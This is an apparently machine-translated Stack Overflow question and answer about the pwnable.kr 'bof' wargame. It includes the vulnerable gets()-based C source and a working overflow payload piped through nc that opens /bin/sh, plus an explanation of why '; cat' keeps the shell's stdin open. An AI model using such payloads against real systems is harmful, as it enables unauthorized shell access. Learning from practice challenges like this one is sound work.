在Linux中,“python -c 'print'”和“(python -c 'print'; cat)”有什么区别?

3

我通常使用"python -c"为C程序传递参数。

就像这样:

$ python -c 'print "a" * 12' | ./program

但是当我执行一个BOF实践程序pwnable.kr/bof时,

python -c 'print'

并且

( python -c 'print'; cat )

以不同的方式工作。

  1. I wrote a exploit code like this:

    $ python -c 'print "a"*52 +"\xbe\xba\xfe\xca"' | nc pwnable.kr 9000
    

    but it didn't work, so I found stack_canary value.

  2. $ python -c 'print "a"*32 +"\x0a"+ "a"*19 + "\xbe\xba\xfe\xca" ' | nc pwnable.kr 9000
    

    but it still didn't work

  3. So I found other people's write up

    $ (python -c 'print "a"*52 +"\xbe\xba\xfe\xca"'; cat) | nc pwnable.kr 9000
    

    This exploit code successfully executed /bin/sh

为什么这个第三个漏洞利用代码可以通过堆栈保护机制,python -c 'print'(python -c 'print'; cat) 有何不同?
#include <stdio.h>
#include <string.h>
#include <stdlib.h> 
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);   // smash me!
    if(key == 0xcafebabe){
        system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
   }
 int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
 } 

bof.c源代码

$ python -c 'print "a"*52 +"\xbe\xba\xfe\xca"' | nc pwnable.kr 9000

* 检测到堆栈溢出 *: /home/bof/bof 已终止 溢出我:

不要啊...


$ python -c 'print "a"*32 +"\x0a"' | nc pwnable.kr 9000

请勿溢出:

不必担心。


$ (python -c 'print "a"*52 +"\xbe\xba\xfe\xca"'; cat) | nc pwnable.kr 9000

成功执行/bin/sh命令


我尝试编辑你的帖子,基本上你想说的是:当你执行命令 (python -c 'print "a"*52 +"\xbe\xba\xfe\xca"'; cat) | nc pwnable.kr 9000 时,你成功地执行了 /bin/sh。当你执行 python -c 'print "a"*52 +"\xbe\xba\xfe\xca"' | nc pwnable.kr 9000 时,你会得到 stack smashing detected 的提示。对吗? - KamilCuk
2个回答

2

虽然我们感谢您的回答,但仅提供链接的回答通常不被视为好的回答。请尝试在您的回答中添加一些基本细节,以帮助问题提出者,并提供上述答案的链接以获取更多信息。 - hessam hedieh
啊,谢谢您的友好回复。您说得完全正确。下次我会尝试添加一些细节。(我最初尝试将此作为评论发布,但我刚刚创建了此帐户,显然我需要先获得50个声望) - Rens Althuis

2
cat /dev/null | /bin/sh

这将运行/bin/sh shell(并虐待猫,但会暂时离开它们),然后shell /bin/sh 将立即关闭而不写任何内容。/bin/sh 运行一个交互式 shell,但由于 shell 的标准输入被关闭(通过<nothing> |</dev/null),因此 shell 检测到输入已结束(读取EOF)并立即退出。

现在让我们复杂化这个例子:

$ cat <<EOF >bof.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
     // bla bla bla 
        system("/bin/sh");
}
int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}
EOF

$ gcc bof.c -o bof
$ python -c 'print "a"*52 +"\xbe\xba\xfe\xca"' | ./bof

如果堆栈溢出成功,./bof程序会调用system("/bin/sh")。但是shell/bin/sh仍然会尝试读取标准输入。由于没有更多可读的内容(因为输入python -c 'print "a"*52 +"\xbe\xba\xfe\xca"'已经结束),它将读取EOF并立即退出。

要从程序中写入字符串,然后再次允许交互式输入,可以使用带有cat的子shell:

 ( printf "\x11\xbe\xba\xfe\xca" ; cat )

这将首先运行printf命令,然后运行cat。在printf结束后,cat将从标准输入读取,因此控制台将再次作为交互式控制台。

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接